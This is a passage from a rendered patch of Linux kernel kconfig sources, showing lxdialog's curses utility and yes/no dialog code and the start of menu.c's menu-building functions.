* Select color theme
|
||||
*/
|
||||
static int set_theme(const char *theme)
|
||||
{
|
||||
int use_color = 1;
|
||||
if (!theme)
|
||||
set_bluetitle_theme();
|
||||
else if (strcmp(theme, "classic") == 0)
|
||||
set_classic_theme();
|
||||
else if (strcmp(theme, "bluetitle") == 0)
|
||||
set_bluetitle_theme();
|
||||
else if (strcmp(theme, "blackbg") == 0)
|
||||
set_blackbg_theme();
|
||||
else if (strcmp(theme, "mono") == 0)
|
||||
use_color = 0;
|
||||
|
||||
return use_color;
|
||||
}
|
||||
|
||||
static void init_one_color(struct dialog_color *color)
|
||||
{
|
||||
static int pair = 0;
|
||||
|
||||
pair++;
|
||||
init_pair(pair, color->fg, color->bg);
|
||||
if (color->hl)
|
||||
color->atr = A_BOLD | COLOR_PAIR(pair);
|
||||
else
|
||||
color->atr = COLOR_PAIR(pair);
|
||||
}
|
||||
|
||||
static void init_dialog_colors(void)
|
||||
{
|
||||
init_one_color(&dlg.screen);
|
||||
init_one_color(&dlg.shadow);
|
||||
init_one_color(&dlg.dialog);
|
||||
init_one_color(&dlg.title);
|
||||
init_one_color(&dlg.border);
|
||||
init_one_color(&dlg.button_active);
|
||||
init_one_color(&dlg.button_inactive);
|
||||
init_one_color(&dlg.button_key_active);
|
||||
init_one_color(&dlg.button_key_inactive);
|
||||
init_one_color(&dlg.button_label_active);
|
||||
init_one_color(&dlg.button_label_inactive);
|
||||
init_one_color(&dlg.inputbox);
|
||||
init_one_color(&dlg.inputbox_border);
|
||||
init_one_color(&dlg.searchbox);
|
||||
init_one_color(&dlg.searchbox_title);
|
||||
init_one_color(&dlg.searchbox_border);
|
||||
init_one_color(&dlg.position_indicator);
|
||||
init_one_color(&dlg.menubox);
|
||||
init_one_color(&dlg.menubox_border);
|
||||
init_one_color(&dlg.item);
|
||||
init_one_color(&dlg.item_selected);
|
||||
init_one_color(&dlg.tag);
|
||||
init_one_color(&dlg.tag_selected);
|
||||
init_one_color(&dlg.tag_key);
|
||||
init_one_color(&dlg.tag_key_selected);
|
||||
init_one_color(&dlg.check);
|
||||
init_one_color(&dlg.check_selected);
|
||||
init_one_color(&dlg.uarrow);
|
||||
init_one_color(&dlg.darrow);
|
||||
}
|
||||
|
||||
/*
|
||||
* Setup for color display
|
||||
*/
|
||||
static void color_setup(const char *theme)
|
||||
{
|
||||
int use_color;
|
||||
|
||||
use_color = set_theme(theme);
|
||||
if (use_color && has_colors()) {
|
||||
start_color();
|
||||
init_dialog_colors();
|
||||
} else
|
||||
set_mono_theme();
|
||||
}
|
||||
|
||||
/*
|
||||
* Set window to attribute 'attr'
|
||||
*/
|
||||
void attr_clear(WINDOW * win, int height, int width, chtype attr)
|
||||
{
|
||||
int i, j;
|
||||
|
||||
wattrset(win, attr);
|
||||
for (i = 0; i < height; i++) {
|
||||
wmove(win, i, 0);
|
||||
for (j = 0; j < width; j++)
|
||||
waddch(win, ' ');
|
||||
}
|
||||
touchwin(win);
|
||||
}
|
||||
|
||||
void dialog_clear(void)
|
||||
{
|
||||
int lines, columns;
|
||||
|
||||
lines = getmaxy(stdscr);
|
||||
columns = getmaxx(stdscr);
|
||||
|
||||
attr_clear(stdscr, lines, columns, dlg.screen.atr);
|
||||
/* Display background title if it exists ... - SLH */
|
||||
if (dlg.backtitle != NULL) {
|
||||
int i, len = 0, skip = 0;
|
||||
struct subtitle_list *pos;
|
||||
|
||||
wattrset(stdscr, dlg.screen.atr);
|
||||
mvwaddstr(stdscr, 0, 1, (char *)dlg.backtitle);
|
||||
|
||||
for (pos = dlg.subtitles; pos != NULL; pos = pos->next) {
|
||||
/* 3 is for the arrow and spaces */
|
||||
len += strlen(pos->text) + 3;
|
||||
}
|
||||
|
||||
wmove(stdscr, 1, 1);
|
||||
if (len > columns - 2) {
|
||||
const char *ellipsis = "[...] ";
|
||||
waddstr(stdscr, ellipsis);
|
||||
skip = len - (columns - 2 - strlen(ellipsis));
|
||||
}
|
||||
|
||||
for (pos = dlg.subtitles; pos != NULL; pos = pos->next) {
|
||||
if (skip == 0)
|
||||
waddch(stdscr, ACS_RARROW);
|
||||
else
|
||||
skip--;
|
||||
|
||||
if (skip == 0)
|
||||
waddch(stdscr, ' ');
|
||||
else
|
||||
skip--;
|
||||
|
||||
if (skip < strlen(pos->text)) {
|
||||
waddstr(stdscr, pos->text + skip);
|
||||
skip = 0;
|
||||
} else
|
||||
skip -= strlen(pos->text);
|
||||
|
||||
if (skip == 0)
|
||||
waddch(stdscr, ' ');
|
||||
else
|
||||
skip--;
|
||||
}
|
||||
|
||||
for (i = len + 1; i < columns - 1; i++)
|
||||
waddch(stdscr, ACS_HLINE);
|
||||
}
|
||||
wnoutrefresh(stdscr);
|
||||
}
|
||||
|
||||
/*
|
||||
* Do some initialization for dialog
|
||||
*/
|
||||
int init_dialog(const char *backtitle)
|
||||
{
|
||||
int height, width;
|
||||
|
||||
initscr(); /* Init curses */
|
||||
|
||||
/* Get current cursor position for signal handler in mconf.c */
|
||||
getyx(stdscr, saved_y, saved_x);
|
||||
|
||||
getmaxyx(stdscr, height, width);
|
||||
if (height < WINDOW_HEIGTH_MIN || width < WINDOW_WIDTH_MIN) {
|
||||
endwin();
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
}
|
||||
|
||||
dlg.backtitle = backtitle;
|
||||
color_setup(getenv("MENUCONFIG_COLOR"));
|
||||
|
||||
keypad(stdscr, TRUE);
|
||||
cbreak();
|
||||
noecho();
|
||||
dialog_clear();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void set_dialog_backtitle(const char *backtitle)
|
||||
{
|
||||
dlg.backtitle = backtitle;
|
||||
}
|
||||
|
||||
void set_dialog_subtitles(struct subtitle_list *subtitles)
|
||||
{
|
||||
dlg.subtitles = subtitles;
|
||||
}
|
||||
|
||||
/*
|
||||
* End using dialog functions.
|
||||
*/
|
||||
void end_dialog(int x, int y)
|
||||
{
|
||||
/* move cursor back to original position */
|
||||
move(y, x);
|
||||
refresh();
|
||||
endwin();
|
||||
}
|
||||
|
||||
/* Print the title of the dialog. Center the title and truncate
|
||||
* tile if wider than dialog (- 2 chars).
|
||||
**/
|
||||
void print_title(WINDOW *dialog, const char *title, int width)
|
||||
{
|
||||
if (title) {
|
||||
int tlen = MIN(width - 2, strlen(title));
|
||||
wattrset(dialog, dlg.title.atr);
|
||||
mvwaddch(dialog, 0, (width - tlen) / 2 - 1, ' ');
|
||||
mvwaddnstr(dialog, 0, (width - tlen)/2, title, tlen);
|
||||
waddch(dialog, ' ');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Print a string of text in a window, automatically wrap around to the
|
||||
* next line if the string is too long to fit on one line. Newline
|
||||
* characters '\n' are propperly processed. We start on a new line
|
||||
* if there is no room for at least 4 nonblanks following a double-space.
|
||||
*/
|
||||
void print_autowrap(WINDOW * win, const char *prompt, int width, int y, int x)
|
||||
{
|
||||
int newl, cur_x, cur_y;
|
||||
int prompt_len, room, wlen;
|
||||
char tempstr[MAX_LEN + 1], *word, *sp, *sp2, *newline_separator = 0;
|
||||
|
||||
strcpy(tempstr, prompt);
|
||||
|
||||
prompt_len = strlen(tempstr);
|
||||
|
||||
if (prompt_len <= width - x * 2) { /* If prompt is short */
|
||||
wmove(win, y, (width - prompt_len) / 2);
|
||||
waddstr(win, tempstr);
|
||||
} else {
|
||||
cur_x = x;
|
||||
cur_y = y;
|
||||
newl = 1;
|
||||
word = tempstr;
|
||||
while (word && *word) {
|
||||
sp = strpbrk(word, "\n ");
|
||||
if (sp && *sp == '\n')
|
||||
newline_separator = sp;
|
||||
|
||||
if (sp)
|
||||
*sp++ = 0;
|
||||
|
||||
/* Wrap to next line if either the word does not fit,
|
||||
or it is the first word of a new sentence, and it is
|
||||
short, and the next word does not fit. */
|
||||
room = width - cur_x;
|
||||
wlen = strlen(word);
|
||||
if (wlen > room ||
|
||||
(newl && wlen < 4 && sp
|
||||
&& wlen + 1 + strlen(sp) > room
|
||||
&& (!(sp2 = strpbrk(sp, "\n "))
|
||||
|| wlen + 1 + (sp2 - sp) > room))) {
|
||||
cur_y++;
|
||||
cur_x = x;
|
||||
}
|
||||
wmove(win, cur_y, cur_x);
|
||||
waddstr(win, word);
|
||||
getyx(win, cur_y, cur_x);
|
||||
|
||||
/* Move to the next line if the word separator was a newline */
|
||||
if (newline_separator) {
|
||||
cur_y++;
|
||||
cur_x = x;
|
||||
newline_separator = 0;
|
||||
} else
|
||||
cur_x++;
|
||||
|
||||
if (sp && *sp == ' ') {
|
||||
cur_x++; /* double space */
|
||||
while (*++sp == ' ') ;
|
||||
newl = 1;
|
||||
} else
|
||||
newl = 0;
|
||||
word = sp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Print a button
|
||||
*/
|
||||
void print_button(WINDOW * win, const char *label, int y, int x, int selected)
|
||||
{
|
||||
int i, temp;
|
||||
|
||||
wmove(win, y, x);
|
||||
wattrset(win, selected ? dlg.button_active.atr
|
||||
: dlg.button_inactive.atr);
|
||||
waddstr(win, "<");
|
||||
temp = strspn(label, " ");
|
||||
label += temp;
|
||||
wattrset(win, selected ? dlg.button_label_active.atr
|
||||
: dlg.button_label_inactive.atr);
|
||||
for (i = 0; i < temp; i++)
|
||||
waddch(win, ' ');
|
||||
wattrset(win, selected ? dlg.button_key_active.atr
|
||||
: dlg.button_key_inactive.atr);
|
||||
waddch(win, label[0]);
|
||||
wattrset(win, selected ? dlg.button_label_active.atr
|
||||
: dlg.button_label_inactive.atr);
|
||||
waddstr(win, (char *)label + 1);
|
||||
wattrset(win, selected ? dlg.button_active.atr
|
||||
: dlg.button_inactive.atr);
|
||||
waddstr(win, ">");
|
||||
wmove(win, y, x + temp + 1);
|
||||
}
|
||||
|
||||
/*
|
||||
* Draw a rectangular box with line drawing characters
|
||||
*/
|
||||
void
|
||||
draw_box(WINDOW * win, int y, int x, int height, int width,
|
||||
chtype box, chtype border)
|
||||
{
|
||||
int i, j;
|
||||
|
||||
wattrset(win, 0);
|
||||
for (i = 0; i < height; i++) {
|
||||
wmove(win, y + i, x);
|
||||
for (j = 0; j < width; j++)
|
||||
if (!i && !j)
|
||||
waddch(win, border | ACS_ULCORNER);
|
||||
else if (i == height - 1 && !j)
|
||||
waddch(win, border | ACS_LLCORNER);
|
||||
else if (!i && j == width - 1)
|
||||
waddch(win, box | ACS_URCORNER);
|
||||
else if (i == height - 1 && j == width - 1)
|
||||
waddch(win, box | ACS_LRCORNER);
|
||||
else if (!i)
|
||||
waddch(win, border | ACS_HLINE);
|
||||
else if (i == height - 1)
|
||||
waddch(win, box | ACS_HLINE);
|
||||
else if (!j)
|
||||
waddch(win, border | ACS_VLINE);
|
||||
else if (j == width - 1)
|
||||
waddch(win, box | ACS_VLINE);
|
||||
else
|
||||
waddch(win, box | ' ');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Draw shadows along the right and bottom edge to give a more 3D look
|
||||
* to the boxes
|
||||
*/
|
||||
void draw_shadow(WINDOW * win, int y, int x, int height, int width)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (has_colors()) { /* Whether terminal supports color? */
|
||||
wattrset(win, dlg.shadow.atr);
|
||||
wmove(win, y + height, x + 2);
|
||||
for (i = 0; i < width; i++)
|
||||
waddch(win, winch(win) & A_CHARTEXT);
|
||||
for (i = y + 1; i < y + height + 1; i++) {
|
||||
wmove(win, i, x + width);
|
||||
waddch(win, winch(win) & A_CHARTEXT);
|
||||
waddch(win, winch(win) & A_CHARTEXT);
|
||||
}
|
||||
wnoutrefresh(win);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Return the position of the first alphabetic character in a string.
|
||||
*/
|
||||
int first_alpha(const char *string, const char *exempt)
|
||||
{
|
||||
int i, in_paren = 0, c;
|
||||
|
||||
for (i = 0; i < strlen(string); i++) {
|
||||
c = tolower(string[i]);
|
||||
|
||||
if (strchr("<[(", c))
|
||||
++in_paren;
|
||||
if (strchr(">])", c) && in_paren > 0)
|
||||
--in_paren;
|
||||
|
||||
if ((!in_paren) && isalpha(c) && strchr(exempt, c) == 0)
|
||||
return i;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* ncurses uses ESC to detect escaped char sequences. This resutl in
|
||||
* a small timeout before ESC is actually delivered to the application.
|
||||
* lxdialog suggest <ESC> <ESC> which is correctly translated to two
|
||||
* times esc. But then we need to ignore the second esc to avoid stepping
|
||||
* out one menu too much. Filter away all escaped key sequences since
|
||||
* keypad(FALSE) turn off ncurses support for escape sequences - and thats
|
||||
* needed to make notimeout() do as expected.
|
||||
*/
|
||||
int on_key_esc(WINDOW *win)
|
||||
{
|
||||
int key;
|
||||
int key2;
|
||||
int key3;
|
||||
|
||||
nodelay(win, TRUE);
|
||||
keypad(win, FALSE);
|
||||
key = wgetch(win);
|
||||
key2 = wgetch(win);
|
||||
do {
|
||||
key3 = wgetch(win);
|
||||
} while (key3 != ERR);
|
||||
nodelay(win, FALSE);
|
||||
keypad(win, TRUE);
|
||||
if (key == KEY_ESC && key2 == ERR)
|
||||
return KEY_ESC;
|
||||
else if (key != ERR && key != KEY_ESC && key2 == ERR)
|
||||
ungetch(key);
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* redraw screen in new size */
|
||||
int on_key_resize(void)
|
||||
{
|
||||
dialog_clear();
|
||||
return KEY_RESIZE;
|
||||
}
|
||||
|
||||
struct dialog_list *item_cur;
|
||||
struct dialog_list item_nil;
|
||||
struct dialog_list *item_head;
|
||||
|
||||
void item_reset(void)
|
||||
{
|
||||
struct dialog_list *p, *next;
|
||||
|
||||
for (p = item_head; p; p = next) {
|
||||
next = p->next;
|
||||
free(p);
|
||||
}
|
||||
item_head = NULL;
|
||||
item_cur = &item_nil;
|
||||
}
|
||||
|
||||
void item_make(const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
struct dialog_list *p = malloc(sizeof(*p));
|
||||
|
||||
if (item_head)
|
||||
item_cur->next = p;
|
||||
else
|
||||
item_head = p;
|
||||
item_cur = p;
|
||||
memset(p, 0, sizeof(*p));
|
||||
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(item_cur->node.str, sizeof(item_cur->node.str), fmt, ap);
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
void item_add_str(const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
size_t avail;
|
||||
|
||||
avail = sizeof(item_cur->node.str) - strlen(item_cur->node.str);
|
||||
|
||||
va_start(ap, fmt);
|
||||
vsnprintf(item_cur->node.str + strlen(item_cur->node.str),
|
||||
avail, fmt, ap);
|
||||
item_cur->node.str[sizeof(item_cur->node.str) - 1] = '\0';
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
void item_set_tag(char tag)
|
||||
{
|
||||
item_cur->node.tag = tag;
|
||||
}
|
||||
void item_set_data(void *ptr)
|
||||
{
|
||||
item_cur->node.data = ptr;
|
||||
}
|
||||
|
||||
void item_set_selected(int val)
|
||||
{
|
||||
item_cur->node.selected = val;
|
||||
}
|
||||
|
||||
int item_activate_selected(void)
|
||||
{
|
||||
item_foreach()
|
||||
if (item_is_selected())
|
||||
return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *item_data(void)
|
||||
{
|
||||
return item_cur->node.data;
|
||||
}
|
||||
|
||||
char item_tag(void)
|
||||
{
|
||||
return item_cur->node.tag;
|
||||
}
|
||||
|
||||
int item_count(void)
|
||||
{
|
||||
int n = 0;
|
||||
struct dialog_list *p;
|
||||
|
||||
for (p = item_head; p; p = p->next)
|
||||
n++;
|
||||
return n;
|
||||
}
|
||||
|
||||
void item_set(int n)
|
||||
{
|
||||
int i = 0;
|
||||
item_foreach()
|
||||
if (i++ == n)
|
||||
return;
|
||||
}
|
||||
|
||||
int item_n(void)
|
||||
{
|
||||
int n = 0;
|
||||
struct dialog_list *p;
|
||||
|
||||
for (p = item_head; p; p = p->next) {
|
||||
if (p == item_cur)
|
||||
return n;
|
||||
n++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
const char *item_str(void)
|
||||
{
|
||||
return item_cur->node.str;
|
||||
}
|
||||
|
||||
int item_is_selected(void)
|
||||
{
|
||||
return (item_cur->node.selected != 0);
|
||||
}
|
||||
|
||||
int item_is_tag(char tag)
|
||||
{
|
||||
return (item_cur->node.tag == tag);
|
||||
}
|
@ -0,0 +1,114 @@
|
||||
/*
|
||||
* yesno.c -- implements the yes/no box
|
||||
*
|
||||
* ORIGINAL AUTHOR: Savio Lam (lam836@cs.cuhk.hk)
|
||||
* MODIFIED FOR LINUX KERNEL CONFIG BY: William Roadcap (roadcap@cfw.com)
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License
|
||||
* as published by the Free Software Foundation; either version 2
|
||||
* of the License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program; if not, write to the Free Software
|
||||
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
|
||||
*/
|
||||
|
||||
#include "dialog.h"
|
||||
|
||||
/*
|
||||
* Display termination buttons
|
||||
*/
|
||||
static void print_buttons(WINDOW * dialog, int height, int width, int selected)
|
||||
{
|
||||
int x = width / 2 - 10;
|
||||
int y = height - 2;
|
||||
|
||||
print_button(dialog, gettext(" Yes "), y, x, selected == 0);
|
||||
print_button(dialog, gettext(" No "), y, x + 13, selected == 1);
|
||||
|
||||
wmove(dialog, y, x + 1 + 13 * selected);
|
||||
wrefresh(dialog);
|
||||
}
|
||||
|
||||
/*
|
||||
* Display a dialog box with two buttons - Yes and No
|
||||
*/
|
||||
int dialog_yesno(const char *title, const char *prompt, int height, int width)
|
||||
{
|
||||
int i, x, y, key = 0, button = 0;
|
||||
WINDOW *dialog;
|
||||
|
||||
do_resize:
|
||||
if (getmaxy(stdscr) < (height + YESNO_HEIGTH_MIN))
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
if (getmaxx(stdscr) < (width + YESNO_WIDTH_MIN))
|
||||
return -ERRDISPLAYTOOSMALL;
|
||||
|
||||
/* center dialog box on screen */
|
||||
x = (getmaxx(stdscr) - width) / 2;
|
||||
y = (getmaxy(stdscr) - height) / 2;
|
||||
|
||||
draw_shadow(stdscr, y, x, height, width);
|
||||
|
||||
dialog = newwin(height, width, y, x);
|
||||
keypad(dialog, TRUE);
|
||||
|
||||
draw_box(dialog, 0, 0, height, width,
|
||||
dlg.dialog.atr, dlg.border.atr);
|
||||
wattrset(dialog, dlg.border.atr);
|
||||
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
|
||||
for (i = 0; i < width - 2; i++)
|
||||
waddch(dialog, ACS_HLINE);
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
waddch(dialog, ACS_RTEE);
|
||||
|
||||
print_title(dialog, title, width);
|
||||
|
||||
wattrset(dialog, dlg.dialog.atr);
|
||||
print_autowrap(dialog, prompt, width - 2, 1, 3);
|
||||
|
||||
print_buttons(dialog, height, width, 0);
|
||||
|
||||
while (key != KEY_ESC) {
|
||||
key = wgetch(dialog);
|
||||
switch (key) {
|
||||
case 'Y':
|
||||
case 'y':
|
||||
delwin(dialog);
|
||||
return 0;
|
||||
case 'N':
|
||||
case 'n':
|
||||
delwin(dialog);
|
||||
return 1;
|
||||
|
||||
case TAB:
|
||||
case KEY_LEFT:
|
||||
case KEY_RIGHT:
|
||||
button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button);
|
||||
|
||||
print_buttons(dialog, height, width, button);
|
||||
wrefresh(dialog);
|
||||
break;
|
||||
case ' ':
|
||||
case '\n':
|
||||
delwin(dialog);
|
||||
return button;
|
||||
case KEY_ESC:
|
||||
key = on_key_esc(dialog);
|
||||
break;
|
||||
case KEY_RESIZE:
|
||||
delwin(dialog);
|
||||
on_key_resize();
|
||||
goto do_resize;
|
||||
}
|
||||
}
|
||||
|
||||
delwin(dialog);
|
||||
return key; /* ESC pressed */
|
||||
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,694 @@
|
||||
/*
|
||||
* Copyright (C) 2002 Roman Zippel <zippel@linux-m68k.org>
|
||||
* Released under the terms of the GNU GPL v2.0.
|
||||
*/
|
||||
|
||||
#include <ctype.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "lkc.h"
|
||||
|
||||
static const char nohelp_text[] = "There is no help available for this option.";
|
||||
|
||||
struct menu rootmenu;
|
||||
static struct menu **last_entry_ptr;
|
||||
|
||||
struct file *file_list;
|
||||
struct file *current_file;
|
||||
|
||||
void menu_warn(struct menu *menu, const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
fprintf(stderr, "%s:%d:warning: ", menu->file->name, menu->lineno);
|
||||
vfprintf(stderr, fmt, ap);
|
||||
fprintf(stderr, "\n");
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
static void prop_warn(struct property *prop, const char *fmt, ...)
|
||||
{
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
fprintf(stderr, "%s:%d:warning: ", prop->file->name, prop->lineno);
|
||||
vfprintf(stderr, fmt, ap);
|
||||
fprintf(stderr, "\n");
|
||||
va_end(ap);
|
||||
}
|
||||
|
||||
void _menu_init(void)
|
||||
{
|
||||
current_entry = current_menu = &rootmenu;
|
||||
last_entry_ptr = &rootmenu.list;
|
||||
}
|
||||
|
||||
void menu_add_entry(struct symbol *sym)
|
||||
{
|
||||
struct menu *menu;
|
||||
|
||||
menu = xmalloc(sizeof(*menu));
|
||||
memset(menu, 0, sizeof(*menu));
|
||||
menu->sym = sym;
|
||||
menu->parent = current_menu;
|
||||
menu->file = current_file;
|
||||
menu->lineno = zconf_lineno();
|
||||
|
||||
*last_entry_ptr = menu;
|
||||
last_entry_ptr = &menu->next;
|
||||
current_entry = menu;
|
||||
if (sym)
|
||||
menu_add_symbol(P_SYMBOL, sym, NULL);
|
||||
}
|
||||
|
||||
void menu_end_entry(void)
|
||||
{
|
||||
}
|
||||
|
||||
struct menu *menu_add_menu(void)
|
||||
{
|
||||
menu_end_entry();
|
||||
last_entry_ptr = ¤t_entry->list;
|
||||
return current_menu = current_entry;
|
||||
}
|
||||
|
||||
void menu_end_menu(void)
|
||||
{
|
||||
last_entry_ptr = ¤t_menu->next;
|
||||
current_menu = current_menu->parent;
|
||||
}
|
||||
|
||||
static struct expr *menu_check_dep(struct expr *e)
|
||||
{
|
||||
if (!e)
|
||||
return e;
|
||||
|
||||
switch (e->type) {
|
||||
case E_NOT:
|
||||
e->left.expr = menu_check_dep(e->left.expr);
|
||||
break;
|
||||
case E_OR:
|
||||
case E_AND:
|
||||
e->left.expr = menu_check_dep(e->left.expr);
|
||||
e->right.expr = menu_check_dep(e->right.expr);
|
||||
break;
|
||||
case E_SYMBOL:
|
||||
/* change 'm' into 'm' && MODULES */
|
||||
if (e->left.sym == &symbol_mod)
|
||||
return expr_alloc_and(e, expr_alloc_symbol(modules_sym));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return e;
|
||||
}
|
||||
|
||||
void menu_add_dep(struct expr *dep)
|
||||
{
|
||||
current_entry->dep = expr_alloc_and(current_entry->dep, menu_check_dep(dep));
|
||||
}
|
||||
|
||||
void menu_set_type(int type)
|
||||
{
|
||||
struct symbol *sym = current_entry->sym;
|
||||
|
||||
if (sym->type == type)
|
||||
return;
|
||||
if (sym->type == S_UNKNOWN) {
|
||||
sym->type = type;
|
||||
return;
|
||||
}
|
||||
menu_warn(current_entry,
|
||||
"ignoring type redefinition of '%s' from '%s' to '%s'",
|
||||
sym->name ? sym->name : "<choice>",
|
||||
sym_type_name(sym->type), sym_type_name(type));
|
||||
}
|
||||
|
||||
struct property *menu_add_prop(enum prop_type type, char *prompt, struct expr *expr, struct expr *dep)
|
||||
{
|
||||
struct property *prop = prop_alloc(type, current_entry->sym);
|
||||
|
||||
prop->menu = current_entry;
|
||||
prop->expr = expr;
|
||||
prop->visible.expr = menu_check_dep(dep);
|
||||
|
||||
if (prompt) {
|
||||
if (isspace(*prompt)) {
|
||||
prop_warn(prop, "leading whitespace ignored");
|
||||
while (isspace(*prompt))
|
||||
prompt++;
|
||||
}
|
||||
if (current_entry->prompt && current_entry != &rootmenu)
|
||||
prop_warn(prop, "prompt redefined");
|
||||
|
||||
/* Apply all upper menus' visibilities to actual prompts. */
|
||||
if(type == P_PROMPT) {
|
||||
struct menu *menu = current_entry;
|
||||
|
||||
while ((menu = menu->parent) != NULL) {
|
||||
struct expr *dup_expr;
|
||||
|
||||
if (!menu->visibility)
|
||||
continue;
|
||||
/*
|
||||
* Do not add a reference to the
|
||||
* menu's visibility expression but
|
||||
* use a copy of it. Otherwise the
|
||||
* expression reduction functions
|
||||
* will modify expressions that have
|
||||
* multiple references which can
|
||||
* cause unwanted side effects.
|
||||
*/
|
||||
dup_expr = expr_copy(menu->visibility);
|
||||
|
||||
prop->visible.expr
|
||||
= expr_alloc_and(prop->visible.expr,
|
||||
dup_expr);
|
||||
}
|
||||
}
|
||||
|
||||
current_entry->prompt = prop;
|
||||
}
|
||||
prop->text = prompt;
|
||||
|
||||
return prop;
|
||||
}
|
||||
|
||||
struct property *menu_add_prompt(enum prop_type type, char *prompt, struct expr *dep)
|
||||
{
|
||||
return menu_add_prop(type, prompt, NULL, dep);
|
||||
}
|
||||
|
||||
void menu_add_visibility(struct expr *expr)
|
||||
{
|
||||
current_entry->visibility = expr_alloc_and(current_entry->visibility,
|
||||
expr);
|
||||
}
|
||||
|
||||
void menu_add_expr(enum prop_type type, struct expr *expr, struct expr *dep)
|
||||
{
|
||||
menu_add_prop(type, NULL, expr, dep);
|
||||
}
|
||||
|
||||
void menu_add_symbol(enum prop_type type, struct symbol *sym, struct expr *dep)
|
||||
{
|
||||
menu_add_prop(type, NULL, expr_alloc_symbol(sym), dep);
|
||||
}
|
||||
|
||||
void menu_add_option(int token, char *arg)
|
||||
{
|
||||
switch (token) {
|
||||
case T_OPT_MODULES:
|
||||
if (modules_sym)
|
||||
zconf_error("symbol '%s' redefines option 'modules'"
|
||||
" already defined by symbol '%s'",
|
||||
current_entry->sym->name,
|
||||
modules_sym->name
|
||||
);
|
||||
modules_sym = current_entry->sym;
|
||||
break;
|
||||
case T_OPT_DEFCONFIG_LIST:
|
||||
if (!sym_defconfig_list)
|
||||
sym_defconfig_list = current_entry->sym;
|
||||
else if (sym_defconfig_list != current_entry->sym)
|
||||
zconf_error("trying to redefine defconfig symbol");
|
||||
break;
|
||||
case T_OPT_ENV:
|
||||
prop_add_env(arg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static int menu_validate_number(struct symbol *sym, struct symbol *sym2)
|
||||
{
|
||||
return sym2->type == S_INT || sym2->type == S_HEX ||
|
||||
(sym2->type == S_UNKNOWN && sym_string_valid(sym, sym2->name));
|
||||
}
|
||||
|
||||
static void sym_check_prop(struct symbol *sym)
|
||||
{
|
||||
struct property *prop;
|
||||
struct symbol *sym2;
|
||||
for (prop = sym->prop; prop; prop = prop->next) {
|
||||
switch (prop->type) {
|
||||
case P_DEFAULT:
|
||||
if ((sym->type == S_STRING || sym->type == S_INT || sym->type == S_HEX) &&
|
||||
prop->expr->type != E_SYMBOL)
|
||||
prop_warn(prop,
|
||||
"default for config symbol '%s'"
|
||||
" must be a single symbol", sym->name);
|
||||
if (prop->expr->type != E_SYMBOL)
|
||||
break;
|
||||
sym2 = prop_get_symbol(prop);
|
||||
if (sym->type == S_HEX || sym->type == S_INT) {
|
||||
if (!menu_validate_number(sym, sym2))
|
||||
prop_warn(prop,
|
||||
"'%s': number is invalid",
|
||||
sym->name);
|
||||
}
|
||||
break;
|
||||
case P_SELECT:
|
||||
sym2 = prop_get_symbol(prop);
|
||||
if (sym->type != S_BOOLEAN && sym->type != S_TRISTATE)
|
||||
prop_warn(prop,
|
||||
"config symbol '%s' uses select, but is "
|
||||
"not boolean or tristate", sym->name);
|
||||
else if (sym2->type != S_UNKNOWN &&
|
||||
sym2->type != S_BOOLEAN &&
|
||||
sym2->type != S_TRISTATE)
|
||||
prop_warn(prop,
|
||||
"'%s' has wrong type. 'select' only "
|
||||
"accept arguments of boolean and "
|
||||
"tristate type", sym2->name);
|
||||
break;
|
||||
case P_RANGE:
|
||||
if (sym->type != S_INT && sym->type != S_HEX)
|
||||
prop_warn(prop, "range is only allowed "
|
||||
"for int or hex symbols");
|
||||
if (!menu_validate_number(sym, prop->expr->left.sym) ||
|
||||
!menu_validate_number(sym, prop->expr->right.sym))
|
||||
prop_warn(prop, "range is invalid");
|
||||
break;
|
||||
default:
|
||||
;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void menu_finalize(struct menu *parent)
|
||||
{
|
||||
struct menu *menu, *last_menu;
|
||||
struct symbol *sym;
|
||||
struct property *prop;
|
||||
struct expr *parentdep, *basedep, *dep, *dep2, **ep;
|
||||
|
||||
sym = parent->sym;
|
||||
if (parent->list) {
|
||||
if (sym && sym_is_choice(sym)) {
|
||||
if (sym->type == S_UNKNOWN) {
|
||||
/* find the first choice value to find out choice type */
|
||||
current_entry = parent;
|
||||
for (menu = parent->list; menu; menu = menu->next) {
|
||||
if (menu->sym && menu->sym->type != S_UNKNOWN) {
|
||||
menu_set_type(menu->sym->type);
|
||||
break;
|
